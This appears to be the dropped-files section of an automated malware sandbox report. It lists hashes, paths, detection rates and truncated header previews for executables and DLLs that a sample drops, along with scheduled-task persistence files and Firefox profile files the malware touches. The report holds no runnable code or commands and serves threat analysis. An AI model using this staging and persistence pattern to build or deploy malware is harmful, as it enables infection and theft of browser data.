File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1955840
Entropy (8bit):	7.949561809561003
Encrypted:	false
SSDEEP:	49152:aWzMb/x6nIJ70S13/CgE1/wfjajqg60t3PwB/c2DG7QXc6cnS2:koW136RJ/O+RPwhvDGsXuS
MD5:	E04AFEEB6BB46B372BC1D7C2E2F25EAD
SHA1:	684D7F3CF0F8F94B1A58B39A97FD2F8F37F4A380
SHA-256:	71DB154390C24F07114784BF363D39DAC8F1699C517064327724F83CA4ACDFB9
SHA-512:	96892CF42B70716A104841F707F263C2AA03A2D7E948B469F1200DDC1ABD37ED3E489CB27731C646BD0787C18980CD947328A3C0CFA1432B9CD23435B5CB7689
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f.............................@M...........@..........................pM......s....@.................................W...k...........................\|-M.............................,-M..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...lybfcffv.....p2.....................@...emchirzz.....0M.....................@....taggant.0...@M.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1879552
Entropy (8bit):	7.950662988179838
Encrypted:	false
SSDEEP:	49152:uC3mmnNqYsw0RRJYlktVMs6lwLzJDnKAy9L6L910UWScm:ntq5t2lkt1LzxOW510Uf
MD5:	4244BD9C011F09D5FB95BBE4CDA9EA93
SHA1:	646DD0D5A7C72F617858F662860CC6AED0EF2753
SHA-256:	64216D77F5F0645DA5D3C5BD169875272A1E964F5C69A89151E8C4AE61ECB8EA
SHA-512:	F1AA7456A20C8031652D1A0589B7FC5189AD8F5A01659375C90124E0E0C1FF1C2174ACA0ECF9595C43B0B9C56F790B9708FA58008E69D482951795D581D99A21
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................J...........@...........................J......^....@.................................W...k...........................lrJ..............................rJ..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...finyobjn......0.....................@...cveoqpqu......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3171840
Entropy (8bit):	7.984286081159671
Encrypted:	false
SSDEEP:	98304:8NqM6Na6zw5LBVjsP9pjCHDh61jVMfzlhcA3YLMvKsQ:8cMyB6lVjqWF61cJqCTKs
MD5:	ED89562ECF478105FE0DAB7EB6296170
SHA1:	DF643B7D906041D95ACDB7FE344183E1F1722606
SHA-256:	5353C49EA9165ECC52404556A1150EB9413AD072C6CE9ACE7840BE92465EE0EC
SHA-512:	ADCB2F11AE2913AD989950CC192121D6B44F19EF3E82E25F410CF4A04499EE10E458D1D50C02709F492E37F065C7A362A711196BA34888B8EDCADAEEBE51C963
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....d.f..........".................DX............@..........................p............@...... ....... ..........P@..N....M..L..........................0@...............................@..........................................................................................@.......................................@.......................................@................@......................@................P...b..................@....rsrc................R..............@..@..........x..`...(..................@....data....`!......^!.................@...................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\Desktop\8NjcvPNvUr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1955840
Entropy (8bit):	7.949561809561003
Encrypted:	false
SSDEEP:	49152:aWzMb/x6nIJ70S13/CgE1/wfjajqg60t3PwB/c2DG7QXc6cnS2:koW136RJ/O+RPwhvDGsXuS
MD5:	E04AFEEB6BB46B372BC1D7C2E2F25EAD
SHA1:	684D7F3CF0F8F94B1A58B39A97FD2F8F37F4A380
SHA-256:	71DB154390C24F07114784BF363D39DAC8F1699C517064327724F83CA4ACDFB9
SHA-512:	96892CF42B70716A104841F707F263C2AA03A2D7E948B469F1200DDC1ABD37ED3E489CB27731C646BD0787C18980CD947328A3C0CFA1432B9CD23435B5CB7689
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f.............................@M...........@..........................pM......s....@.................................W...k...........................\|-M.............................,-M..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...lybfcffv.....p2.....................@...emchirzz.....0M.....................@....taggant.0...@M.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\8NjcvPNvUr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	250368
Entropy (8bit):	6.034216220616155
Encrypted:	false
SSDEEP:	3072:8COU4fRBfYChgFH+7H0tZk+KjRLTyl8A4WR1kuw8Zry3sclrrl5HO:vJ4frgChgU4ZHQhT3A4sSu7WR/l
MD5:	0EF35662ABBE44CF6E064CB524B10742
SHA1:	E022EBFC8011CDDA89BD682001807E87F29DE564
SHA-256:	5ADCB9C55CB600170C65B603951EF9B4A9A6E6DD95A7EED765A371BF51D2719E
SHA-512:	86362E5CFD03A9ADFC030BDF3DF34D11A8F0A9799615F0204B96167CD1F81986DE62F2533800D6D590041BCCE7793C62D022E2D623532AD995D582D2EE7B3AFB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Tg.s... ... ... .pQ ... .pd ... .pP t.. .~i ... ... d.. .pU ... .p` ... .pg ... Rich... ........PE..L...,..e.....................x....... .......0....@..........................`...............................................X..x...................................\Y...............................S..@............0...............................text...p........................... ..`.rdata...2...0...4..................@..@.data........p.......R..............@....casiwid............................@..@.mufu................2..............@....rsrc................6..............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3171840
Entropy (8bit):	7.984286081159671
Encrypted:	false
SSDEEP:	98304:8NqM6Na6zw5LBVjsP9pjCHDh61jVMfzlhcA3YLMvKsQ:8cMyB6lVjqWF61cJqCTKs
MD5:	ED89562ECF478105FE0DAB7EB6296170
SHA1:	DF643B7D906041D95ACDB7FE344183E1F1722606
SHA-256:	5353C49EA9165ECC52404556A1150EB9413AD072C6CE9ACE7840BE92465EE0EC
SHA-512:	ADCB2F11AE2913AD989950CC192121D6B44F19EF3E82E25F410CF4A04499EE10E458D1D50C02709F492E37F065C7A362A711196BA34888B8EDCADAEEBE51C963
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....d.f..........".................DX............@..........................p............@...... ....... ..........P@..N....M..L..........................0@...............................@..........................................................................................@.......................................@.......................................@................@......................@................P...b..................@....rsrc................R..............@..@..........x..`...(..................@....data....`!......^!.................@...................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\userKFHCAEGCBF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1879552
Entropy (8bit):	7.950662988179838
Encrypted:	false
SSDEEP:	49152:uC3mmnNqYsw0RRJYlktVMs6lwLzJDnKAy9L6L910UWScm:ntq5t2lkt1LzxOW510Uf
MD5:	4244BD9C011F09D5FB95BBE4CDA9EA93
SHA1:	646DD0D5A7C72F617858F662860CC6AED0EF2753
SHA-256:	64216D77F5F0645DA5D3C5BD169875272A1E964F5C69A89151E8C4AE61ECB8EA
SHA-512:	F1AA7456A20C8031652D1A0589B7FC5189AD8F5A01659375C90124E0E0C1FF1C2174ACA0ECF9595C43B0B9C56F790B9708FA58008E69D482951795D581D99A21
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................J...........@...........................J......^....@.................................W...k...........................lrJ..............................rJ..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...finyobjn......0.....................@...cveoqpqu......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\RoamingHJDBKJKFIE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1955840
Entropy (8bit):	7.949561809561003
Encrypted:	false
SSDEEP:	49152:aWzMb/x6nIJ70S13/CgE1/wfjajqg60t3PwB/c2DG7QXc6cnS2:koW136RJ/O+RPwhvDGsXuS
MD5:	E04AFEEB6BB46B372BC1D7C2E2F25EAD
SHA1:	684D7F3CF0F8F94B1A58B39A97FD2F8F37F4A380
SHA-256:	71DB154390C24F07114784BF363D39DAC8F1699C517064327724F83CA4ACDFB9
SHA-512:	96892CF42B70716A104841F707F263C2AA03A2D7E948B469F1200DDC1ABD37ED3E489CB27731C646BD0787C18980CD947328A3C0CFA1432B9CD23435B5CB7689
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f.............................@M...........@..........................pM......s....@.................................W...k...........................\|-M.............................,-M..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...lybfcffv.....p2.....................@...emchirzz.....0M.....................@....taggant.0...@M.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9929
Entropy (8bit):	5.529760340113424
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Shj4qyaaX86KBfGNBw8dISl:deoquWcwV0
MD5:	23FF8467EF36BCCCBAE4A58855DFA546
SHA1:	8A3F1BE1064A2836A921E694B61DE83519C21A48
SHA-256:	FD51461506B559DE1314398F0BAAB6A3EB4C357BCB9A613216DDD3AD323A15FC
SHA-512:	CC522C475FD28CE028990D199A2E963F7CCC9A73135DB663BF1A47C30B811E1959AC1629FC1B47F44FE2C805D998B36EE32CFE4F0C980B4BF5A2DD5BC185D02E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9929
Entropy (8bit):	5.529760340113424
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Shj4qyaaX86KBfGNBw8dISl:deoquWcwV0
MD5:	23FF8467EF36BCCCBAE4A58855DFA546
SHA1:	8A3F1BE1064A2836A921E694B61DE83519C21A48
SHA-256:	FD51461506B559DE1314398F0BAAB6A3EB4C357BCB9A613216DDD3AD323A15FC
SHA-512:	CC522C475FD28CE028990D199A2E963F7CCC9A73135DB663BF1A47C30B811E1959AC1629FC1B47F44FE2C805D998B36EE32CFE4F0C980B4BF5A2DD5BC185D02E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\userKFHCAEGCBF.exe
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.4029623024162947
Encrypted:	false
SSDEEP:	6:JPOVXpRKUEZ+lX1lOJUPelkDdtPjgsW2YRZuy0l1Xw0ut0:JPIpRKQ1lOmeeDHjzvYRQV1g0ut0
MD5:	DC7F8C6148AF63D3E866DABA757B1059
SHA1:	372C94005632D261EE43942E2E63D1F2B26F2363
SHA-256:	1B4BA4F6EFEB066E71F4A4F91B60460713518D3D2A3668AEA64018BFC86DF932
SHA-512:	2C1FD54C14F280B15482D776BCAE73F4396258DB55EF6411D1FBA7C74755C86CBAD70704D9E2B96EF31A5A4F3DC159D1F8ECD0E2B0F2997DB98104AA9C4EFD31
Malicious:	false
Preview:	.....B...>B.`.\."..F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................(.@3P.........................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\Desktop\8NjcvPNvUr.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.413881636654277
Encrypted:	false
SSDEEP:	6:mMWVX4RKUEZ+lX1cI1l6lm6tPjgsW2YRZuy0l1X6dt0:A4RKQ1cag7jzvYRQV1Ct0
MD5:	26AEF698574DE73ECD656D58AF69A946
SHA1:	902CD4424537CF01198176C901450438CF83EFA5
SHA-256:	F65A2177550EEF9AE65254CEEA691D5B56BE2E8D5DF2B646E857C4F672CE542E
SHA-512:	EE1577873CFD67BB8AC35BDD3FFD47AB26E81150953B1C09168FC6337ADFD74CF791246D765087FB4A49D705001697F58EE3D234A9FC6DE2CE464FA37FD2DA0E
Malicious:	false
